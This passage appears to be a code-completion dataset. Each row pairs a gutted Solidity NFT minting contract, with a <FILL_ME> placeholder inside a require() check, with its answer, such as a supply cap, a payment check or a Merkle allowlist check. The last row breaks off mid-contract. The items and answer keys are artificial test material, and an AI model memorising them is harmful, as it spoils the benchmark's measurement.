comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
---|---|---|---|---|
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol';
import '@openzeppelin/contracts/utils/Address.sol';
import '@openzeppelin/contracts/utils/Context.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/utils/introspection/ERC165.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
// import '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';
/**
*
.__ .__ __ _____ __ .__.__ .__
____________ |__|______|__|/ |_ ______ _____/ ____\ ______ __ __ ____ | | __ _________ _|__| | | | ____
/ ___/\____ \| \_ __ \ \ __\/ ___/ / _ \ __\ \____ \| | \/ \| |/ / / ___/\ \/ / | | | | _/ __ \
\___ \ | |_> > || | \/ || | \___ \ ( <_> ) | | |_> > | / | \ < \___ \ \ /| | |_| |_\ ___/
/____ >| __/|__||__| |__||__| /____ > \____/|__| | __/|____/|___| /__|_ \/____ > \_/ |__|____/____/\___ >
\/ |__| \/ |__| \/ \/ \/ \/
*
**/
contract SpiritsOfPunksville is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
// represents starting point counters for common spirits, black, titanium, and blue.
uint256[4] public indexes = [940,1,13,176];
mapping(uint256 => uint256) public tokenToColor;
// common spirit index = 0
// black spirit index = 1
// titanium spirit index = 2
// blue spirit index = 3
// Token name
string private _name;
mapping(uint256 => bool) public tokenExists;
// TODO: Update to prod v3 artifact contract before deployment.
address public V3ArtifactContract = 0x5647717E536E4a6D3e6cde2d848fb6D933dB7Acb;
uint256 public totalMinted = 0;
uint256 public price = 6900000000000000;
string public baseURI = 'ipfs://Qmcj58ShBdniPqNRit89TLckp1GZDbt7rtaUkNEvGLhzTJ/';
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
}
function _numberMinted(address owner) internal view returns (uint256) {
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string storage) {
}
function setBaseURI(string memory uri) external onlyOwner {
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
}
function mint(address to, uint256 quantity) external payable {
require(msg.value == quantity * price);
require(quantity <= 30 && quantity > 0);
require(<FILL_ME>)
_safeMint(to, quantity, 0);
}
function withdraw() external onlyOwner {
}
function reserve(address to, uint256 quantity) external onlyOwner {
}
function mintBlue(address to, uint256 quantity) internal {
}
function mintBlack(address to, uint256 quantity) internal {
}
function mintTitanium(address to, uint256 quantity) internal {
}
function setPrice(uint256 newPrice) external onlyOwner {
}
function consume(uint256 tokenId) external {
}
function _safeMint(address to, uint256 quantity, uint256 index) internal {
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data,
uint256 index
) internal {
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe,
uint256 index
) internal {
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous ownefr of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
| indexes[0]+quantity<=10001 | 243,748 | indexes[0]+quantity<=10001 |
"sold out" | contract SBF is ERC721A, Ownable {
mapping(address => bool) public freeMinted;
using Strings for uint256;
string public uriPrefix = "ipfs://QmZukTqhDZHcc8FXFDRfznWyTD5QjGxvydBPgdEAk4L1wS/";
uint256 public immutable cost = 0.001 ether;
uint32 public immutable MaxSupplyNumber = 5555;
uint32 public immutable maxPerTx = 10;
string public baseExtension = ".json";
modifier callerIsUser() {
}
constructor(
string memory _name,
string memory _symbol
)
ERC721A (_name, _symbol) {
}
function _baseURI() internal view override(ERC721A) returns (string memory) {
}
function setUri(string memory uri) public onlyOwner {
}
function _startTokenId() internal view virtual override(ERC721A) returns (uint256) {
}
function mint(uint256 _mintAmount) public payable callerIsUser{
require(<FILL_ME>)
require(_mintAmount <= maxPerTx,"max 10 mintAmount");
if(freeMinted[msg.sender])
{
require(msg.value >= _mintAmount * cost,"insufficient value");
}
else
{
freeMinted[msg.sender] = true;
require(msg.value >= (_mintAmount-1) * cost,"insufficient value");
}
_safeMint(msg.sender, _mintAmount);
}
function getMintedFree(address addr) public view returns (bool){
}
function DevMint(uint256 amount) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function withdraw() public onlyOwner {
}
}
| totalSupply()+_mintAmount<=MaxSupplyNumber,"sold out" | 243,801 | totalSupply()+_mintAmount<=MaxSupplyNumber |
"insufficient value" | contract SBF is ERC721A, Ownable {
mapping(address => bool) public freeMinted;
using Strings for uint256;
string public uriPrefix = "ipfs://QmZukTqhDZHcc8FXFDRfznWyTD5QjGxvydBPgdEAk4L1wS/";
uint256 public immutable cost = 0.001 ether;
uint32 public immutable MaxSupplyNumber = 5555;
uint32 public immutable maxPerTx = 10;
string public baseExtension = ".json";
modifier callerIsUser() {
}
constructor(
string memory _name,
string memory _symbol
)
ERC721A (_name, _symbol) {
}
function _baseURI() internal view override(ERC721A) returns (string memory) {
}
function setUri(string memory uri) public onlyOwner {
}
function _startTokenId() internal view virtual override(ERC721A) returns (uint256) {
}
function mint(uint256 _mintAmount) public payable callerIsUser{
require(totalSupply() + _mintAmount <= MaxSupplyNumber,"sold out");
require(_mintAmount <= maxPerTx,"max 10 mintAmount");
if(freeMinted[msg.sender])
{
require(msg.value >= _mintAmount * cost,"insufficient value");
}
else
{
freeMinted[msg.sender] = true;
require(<FILL_ME>)
}
_safeMint(msg.sender, _mintAmount);
}
function getMintedFree(address addr) public view returns (bool){
}
function DevMint(uint256 amount) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function withdraw() public onlyOwner {
}
}
| msg.value>=(_mintAmount-1)*cost,"insufficient value" | 243,801 | msg.value>=(_mintAmount-1)*cost |
"Address/quantity combination not on allowlist." | import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
error ApproveToCaller();
interface IToken {
function mint(address to, uint256 quantity) external;
function totalMinted() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
}
struct Phase {
//
// The identifier of a phase.
string id;
//
// The root of the Merkle tree which contains an allowlist of wallets and quantities (address,uint64) that
// can mint for free.
bytes32 merkleRoot;
//
// When is minting for this phase allowed to begin.
uint32 startTime;
//
// When minting for this phase ends. (If 0, no end boundary.)
uint32 endTime;
//
// The amount of tokens a user can mint in this phase. This value is only checked when
// the merkle root is null.
uint32 walletLimit;
}
contract Mint is Ownable {
address private _tokenAddress;
bool private _enabled;
Phase[] private _phases;
mapping(bytes32 => bool) private _usedLeaves;
mapping(address => bool) private _usedPublicMints;
function setTokenAddress(address addr) public onlyOwner {
}
function tokenAddress() public view returns (address) {
}
function enabled() public view returns (bool) {
}
function setEnabled(bool b) public onlyOwner {
}
function setPhases(Phase[] memory phases) public onlyOwner {
}
function currentPhase() public view returns (Phase memory phase, bool ok) {
}
function allowlistMint(
address to,
uint64 quantity,
bytes32[] memory proof
) public {
require(_tokenAddress != address(0), "Token address not set.");
require(_enabled == true, "Minting is not enabled.");
(Phase memory current, bool ok) = currentPhase();
require(ok == true, "Minting is not open.");
bytes32 leaf = makeMerkleLeaf(_msgSender(), quantity);
require(<FILL_ME>)
require(_usedLeaves[leaf] == false, "Mint already used.");
_usedLeaves[leaf] = true;
IToken(_tokenAddress).mint(to, quantity);
}
function publicMint(address to, uint64 quantity) public {
}
function adminMint(address to, uint64 quantity) public onlyOwner {
}
function totalMinted() public view returns (uint256) {
}
function makeMerkleLeaf(address wallet, uint64 quantity)
public
pure
returns (bytes32)
{
}
function leafUsed(bytes32 leaf) public view returns (bool) {
}
function balanceOf(address owner) public view returns (uint256) {
}
}
interface IMint {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
function enabled() external view returns (bool);
function currentPhase() external view returns (Phase memory phase, bool ok);
function allowlistMint(
address to,
uint64 quantity,
bytes32[] memory proof
) external;
function publicMint(address to, uint64 quantity) external;
function balanceOf(address owner) external view returns (uint256);
function leafUsed(bytes32 leaf) external view returns (bool);
function totalMinted() external view returns (uint256);
}
| MerkleProof.verify(proof,current.merkleRoot,leaf),"Address/quantity combination not on allowlist." | 243,814 | MerkleProof.verify(proof,current.merkleRoot,leaf) |
"Mint already used." | import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
error ApproveToCaller();
interface IToken {
function mint(address to, uint256 quantity) external;
function totalMinted() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
}
struct Phase {
//
// The identifier of a phase.
string id;
//
// The root of the Merkle tree which contains an allowlist of wallets and quantities (address,uint64) that
// can mint for free.
bytes32 merkleRoot;
//
// When is minting for this phase allowed to begin.
uint32 startTime;
//
// When minting for this phase ends. (If 0, no end boundary.)
uint32 endTime;
//
// The amount of tokens a user can mint in this phase. This value is only checked when
// the merkle root is null.
uint32 walletLimit;
}
contract Mint is Ownable {
address private _tokenAddress;
bool private _enabled;
Phase[] private _phases;
mapping(bytes32 => bool) private _usedLeaves;
mapping(address => bool) private _usedPublicMints;
function setTokenAddress(address addr) public onlyOwner {
}
function tokenAddress() public view returns (address) {
}
function enabled() public view returns (bool) {
}
function setEnabled(bool b) public onlyOwner {
}
function setPhases(Phase[] memory phases) public onlyOwner {
}
function currentPhase() public view returns (Phase memory phase, bool ok) {
}
function allowlistMint(
address to,
uint64 quantity,
bytes32[] memory proof
) public {
require(_tokenAddress != address(0), "Token address not set.");
require(_enabled == true, "Minting is not enabled.");
(Phase memory current, bool ok) = currentPhase();
require(ok == true, "Minting is not open.");
bytes32 leaf = makeMerkleLeaf(_msgSender(), quantity);
require(
MerkleProof.verify(proof, current.merkleRoot, leaf),
"Address/quantity combination not on allowlist."
);
require(<FILL_ME>)
_usedLeaves[leaf] = true;
IToken(_tokenAddress).mint(to, quantity);
}
function publicMint(address to, uint64 quantity) public {
}
function adminMint(address to, uint64 quantity) public onlyOwner {
}
function totalMinted() public view returns (uint256) {
}
function makeMerkleLeaf(address wallet, uint64 quantity)
public
pure
returns (bytes32)
{
}
function leafUsed(bytes32 leaf) public view returns (bool) {
}
function balanceOf(address owner) public view returns (uint256) {
}
}
interface IMint {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
function enabled() external view returns (bool);
function currentPhase() external view returns (Phase memory phase, bool ok);
function allowlistMint(
address to,
uint64 quantity,
bytes32[] memory proof
) external;
function publicMint(address to, uint64 quantity) external;
function balanceOf(address owner) external view returns (uint256);
function leafUsed(bytes32 leaf) external view returns (bool);
function totalMinted() external view returns (uint256);
}
| _usedLeaves[leaf]==false,"Mint already used." | 243,814 | _usedLeaves[leaf]==false |
"Mint would exceed wallet limit." | import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
error ApproveToCaller();
interface IToken {
function mint(address to, uint256 quantity) external;
function totalMinted() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
}
struct Phase {
//
// The identifier of a phase.
string id;
//
// The root of the Merkle tree which contains an allowlist of wallets and quantities (address,uint64) that
// can mint for free.
bytes32 merkleRoot;
//
// When is minting for this phase allowed to begin.
uint32 startTime;
//
// When minting for this phase ends. (If 0, no end boundary.)
uint32 endTime;
//
// The amount of tokens a user can mint in this phase. This value is only checked when
// the merkle root is null.
uint32 walletLimit;
}
contract Mint is Ownable {
address private _tokenAddress;
bool private _enabled;
Phase[] private _phases;
mapping(bytes32 => bool) private _usedLeaves;
mapping(address => bool) private _usedPublicMints;
function setTokenAddress(address addr) public onlyOwner {
}
function tokenAddress() public view returns (address) {
}
function enabled() public view returns (bool) {
}
function setEnabled(bool b) public onlyOwner {
}
function setPhases(Phase[] memory phases) public onlyOwner {
}
function currentPhase() public view returns (Phase memory phase, bool ok) {
}
function allowlistMint(
address to,
uint64 quantity,
bytes32[] memory proof
) public {
}
function publicMint(address to, uint64 quantity) public {
require(_tokenAddress != address(0), "Token address not set.");
require(_enabled == true, "Minting is not enabled.");
(Phase memory current, bool ok) = currentPhase();
require(ok == true, "Minting is not yet open.");
require(current.merkleRoot == 0, "Public phase not open.");
require(<FILL_ME>)
require(_usedPublicMints[to] == false, "Recipient has already minted.");
require(
_usedPublicMints[_msgSender()] == false,
"Recipient has already minted."
);
_usedPublicMints[_msgSender()] = true;
if (_msgSender() != to) {
_usedPublicMints[to] = true;
}
IToken(_tokenAddress).mint(to, quantity);
}
function adminMint(address to, uint64 quantity) public onlyOwner {
}
function totalMinted() public view returns (uint256) {
}
function makeMerkleLeaf(address wallet, uint64 quantity)
public
pure
returns (bytes32)
{
}
function leafUsed(bytes32 leaf) public view returns (bool) {
}
function balanceOf(address owner) public view returns (uint256) {
}
}
interface IMint {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
function enabled() external view returns (bool);
function currentPhase() external view returns (Phase memory phase, bool ok);
function allowlistMint(
address to,
uint64 quantity,
bytes32[] memory proof
) external;
function publicMint(address to, uint64 quantity) external;
function balanceOf(address owner) external view returns (uint256);
function leafUsed(bytes32 leaf) external view returns (bool);
function totalMinted() external view returns (uint256);
}
| IToken(_tokenAddress).balanceOf(to)+quantity<=current.walletLimit,"Mint would exceed wallet limit." | 243,814 | IToken(_tokenAddress).balanceOf(to)+quantity<=current.walletLimit |
"Recipient has already minted." | import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
error ApproveToCaller();
interface IToken {
function mint(address to, uint256 quantity) external;
function totalMinted() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
}
struct Phase {
//
// The identifier of a phase.
string id;
//
// The root of the Merkle tree which contains an allowlist of wallets and quantities (address,uint64) that
// can mint for free.
bytes32 merkleRoot;
//
// When is minting for this phase allowed to begin.
uint32 startTime;
//
// When minting for this phase ends. (If 0, no end boundary.)
uint32 endTime;
//
// The amount of tokens a user can mint in this phase. This value is only checked when
// the merkle root is null.
uint32 walletLimit;
}
contract Mint is Ownable {
address private _tokenAddress;
bool private _enabled;
Phase[] private _phases;
mapping(bytes32 => bool) private _usedLeaves;
mapping(address => bool) private _usedPublicMints;
function setTokenAddress(address addr) public onlyOwner {
}
function tokenAddress() public view returns (address) {
}
function enabled() public view returns (bool) {
}
function setEnabled(bool b) public onlyOwner {
}
function setPhases(Phase[] memory phases) public onlyOwner {
}
function currentPhase() public view returns (Phase memory phase, bool ok) {
}
function allowlistMint(
address to,
uint64 quantity,
bytes32[] memory proof
) public {
}
function publicMint(address to, uint64 quantity) public {
require(_tokenAddress != address(0), "Token address not set.");
require(_enabled == true, "Minting is not enabled.");
(Phase memory current, bool ok) = currentPhase();
require(ok == true, "Minting is not yet open.");
require(current.merkleRoot == 0, "Public phase not open.");
require(
IToken(_tokenAddress).balanceOf(to) + quantity <=
current.walletLimit,
"Mint would exceed wallet limit."
);
require(<FILL_ME>)
require(
_usedPublicMints[_msgSender()] == false,
"Recipient has already minted."
);
_usedPublicMints[_msgSender()] = true;
if (_msgSender() != to) {
_usedPublicMints[to] = true;
}
IToken(_tokenAddress).mint(to, quantity);
}
function adminMint(address to, uint64 quantity) public onlyOwner {
}
function totalMinted() public view returns (uint256) {
}
function makeMerkleLeaf(address wallet, uint64 quantity)
public
pure
returns (bytes32)
{
}
function leafUsed(bytes32 leaf) public view returns (bool) {
}
function balanceOf(address owner) public view returns (uint256) {
}
}
interface IMint {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
function enabled() external view returns (bool);
function currentPhase() external view returns (Phase memory phase, bool ok);
function allowlistMint(
address to,
uint64 quantity,
bytes32[] memory proof
) external;
function publicMint(address to, uint64 quantity) external;
function balanceOf(address owner) external view returns (uint256);
function leafUsed(bytes32 leaf) external view returns (bool);
function totalMinted() external view returns (uint256);
}
| _usedPublicMints[to]==false,"Recipient has already minted." | 243,814 | _usedPublicMints[to]==false |
"Recipient has already minted." | import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
error ApproveToCaller();
interface IToken {
function mint(address to, uint256 quantity) external;
function totalMinted() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
}
struct Phase {
//
// The identifier of a phase.
string id;
//
// The root of the Merkle tree which contains an allowlist of wallets and quantities (address,uint64) that
// can mint for free.
bytes32 merkleRoot;
//
// When is minting for this phase allowed to begin.
uint32 startTime;
//
// When minting for this phase ends. (If 0, no end boundary.)
uint32 endTime;
//
// The amount of tokens a user can mint in this phase. This value is only checked when
// the merkle root is null.
uint32 walletLimit;
}
contract Mint is Ownable {
address private _tokenAddress;
bool private _enabled;
Phase[] private _phases;
mapping(bytes32 => bool) private _usedLeaves;
mapping(address => bool) private _usedPublicMints;
function setTokenAddress(address addr) public onlyOwner {
}
function tokenAddress() public view returns (address) {
}
function enabled() public view returns (bool) {
}
function setEnabled(bool b) public onlyOwner {
}
function setPhases(Phase[] memory phases) public onlyOwner {
}
function currentPhase() public view returns (Phase memory phase, bool ok) {
}
function allowlistMint(
address to,
uint64 quantity,
bytes32[] memory proof
) public {
}
function publicMint(address to, uint64 quantity) public {
require(_tokenAddress != address(0), "Token address not set.");
require(_enabled == true, "Minting is not enabled.");
(Phase memory current, bool ok) = currentPhase();
require(ok == true, "Minting is not yet open.");
require(current.merkleRoot == 0, "Public phase not open.");
require(
IToken(_tokenAddress).balanceOf(to) + quantity <=
current.walletLimit,
"Mint would exceed wallet limit."
);
require(_usedPublicMints[to] == false, "Recipient has already minted.");
require(<FILL_ME>)
_usedPublicMints[_msgSender()] = true;
if (_msgSender() != to) {
_usedPublicMints[to] = true;
}
IToken(_tokenAddress).mint(to, quantity);
}
function adminMint(address to, uint64 quantity) public onlyOwner {
}
function totalMinted() public view returns (uint256) {
}
function makeMerkleLeaf(address wallet, uint64 quantity)
public
pure
returns (bytes32)
{
}
function leafUsed(bytes32 leaf) public view returns (bool) {
}
function balanceOf(address owner) public view returns (uint256) {
}
}
interface IMint {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
function enabled() external view returns (bool);
function currentPhase() external view returns (Phase memory phase, bool ok);
function allowlistMint(
address to,
uint64 quantity,
bytes32[] memory proof
) external;
function publicMint(address to, uint64 quantity) external;
function balanceOf(address owner) external view returns (uint256);
function leafUsed(bytes32 leaf) external view returns (bool);
function totalMinted() external view returns (uint256);
}
| _usedPublicMints[_msgSender()]==false,"Recipient has already minted." | 243,814 | _usedPublicMints[_msgSender()]==false |
"Not eligle for presale" | pragma solidity ^0.8.9;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
pragma solidity ^0.8.9;
interface NtentArt {
function mint(
address _to,
uint256 _projectId,
uint256 quantity,
address _by
) external returns (uint256);
function burn(address ownerAddress, uint256 _tokenId)
external
returns (uint256);
function getPricePerTokenInWei(uint256 _projectId)
external
view
returns (uint256);
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
address transferContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function tokensOfOwner(address) external view returns (uint256[] memory);
function ntentPercentage() external view returns (uint256);
}
interface NtentArtGenesis {
function projectTokenInfo(uint256 _projectId)
external
view
returns (
address artistAddress,
uint256 pricePerTokenInWei,
uint256 invocations,
uint256 maxInvocations,
bool active,
address purchaseContract,
address dataContract,
address tokenUriContract,
bool acceptsMintPass,
uint256 mintPassProjectId
);
function tokenIdToProjectId(uint256 _tokenId)
external
view
returns (uint256);
function tokensOfOwner(address) external view returns (uint256[] memory);
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value)
external
returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function approve(address _spender, uint256 _value)
external
returns (bool success);
function allowance(address _owner, address _spender)
external
view
returns (uint256 remaining);
}
contract NtentPurchase is Ownable, ReentrancyGuard {
using SafeMath for uint256;
event TokenBurned(address indexed tokenOwner, uint256 indexed tokenId);
address public ntentGenesisTokenContractAddress;
address public ntentTokenContractAddress;
address public ntentSustainabilityFundAddress;
address public ntentCollectiveWalletAddress;
uint256 weiToEth = 10000000000000000;
ERC20 public ape;
ERC20 public gang;
ERC20 public ash;
mapping(uint256 => uint256) public projectApePrice;
mapping(uint256 => uint256) public projectGangPrice;
mapping(uint256 => uint256) public projectAshPrice;
uint256 sustainabilityFundPercentage = 10;
mapping(uint256 => bool) public isRainbowListedMinting;
mapping(uint256 => uint256) public projectMaxPerAddress;
mapping(uint256 => mapping(address => uint256)) public projectAddressMints;
mapping(uint256 => bool) public projectRequireBurnOnClaim;
constructor(
address _ntentGenesisTokenAddress,
address _ntentTokenAddress,
address _ntentFundAddress,
address _ntentCollectiveWalletAddress
) {
}
function updateNtentTokenAddress(address _newAddress) public onlyOwner {
}
function updateNtentGenesisTokenAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentSustainabilityFundAddress(address _newAddress)
public
onlyOwner
{
}
function updateNtentCollectiveWalletAddress(address _newAddress)
public
onlyOwner
{
}
function toggleRainbowListedMinting(uint256 _projectId) public onlyOwner {
}
function updateProjectMaxPerAddress(uint256 _projectId, uint256 _maxMints)
public
onlyOwner
{
}
function updateApeTokenAddress(address _newAddress) public onlyOwner {
}
function updateGangTokenAddress(address _newAddress) public onlyOwner {
}
function updateAshTokenAddress(address _newAddress) public onlyOwner {
}
function updateProjectTokenPrices(uint _projectId, uint _apeTokensPerMint, uint _gangTokensPerMint, uint _ashTokensPerMint) public onlyOwner{
}
function getTokenPrices(uint256 _projectId) public view returns (uint256 apeCoinPrice, uint256 gangCoinPrice, uint256 ashCoinPrice){
}
function getProjectMaxPerAddress(uint256 _projectId)
public
view
returns (uint256 maxMints){
}
function getRainbowListProjectId(uint256 _projectId)
public
view
returns (uint256 _rainbowListProjectId)
{
}
function hasRainbowlistedToken(
address _fromAdress,
uint256 _mintingProjectId
) public view returns (bool hasToken) {
}
function exceedsMaxMints(
address _fromAddress,
uint256 _projectId,
uint256 _tokenCount
) public view returns (bool exceeds) {
}
function isProjectRainbowListed(uint256 _projectId)
public
view
returns (bool isRainbowlisted)
{
}
function withdraw() public onlyOwner {
}
function teamMint(uint256 _projectId, uint256 _tokenQuantity)
public
onlyOwner
{
}
function claim(
address _purchasedForAddress,
uint256 _projectId,
uint256[] calldata _mintPassTokenIds
) public nonReentrant {
if (isProjectRainbowListed(_projectId) == true) {
require(<FILL_ME>)
}
uint256 mintPassCount = _mintPassTokenIds.length;
require(mintPassCount > 0, "You don't have any mint passes");
require(
exceedsMaxMints(msg.sender, _projectId, mintPassCount) == false,
"You will exceed max allowed mints"
);
NtentArt ntentContract = NtentArt(ntentTokenContractAddress);
uint256 rainbowListProjectId = getRainbowListProjectId(_projectId);
require(
rainbowListProjectId > 0,
"This project doesnt accept mint passes"
);
if (projectRequireBurnOnClaim[_projectId]) {
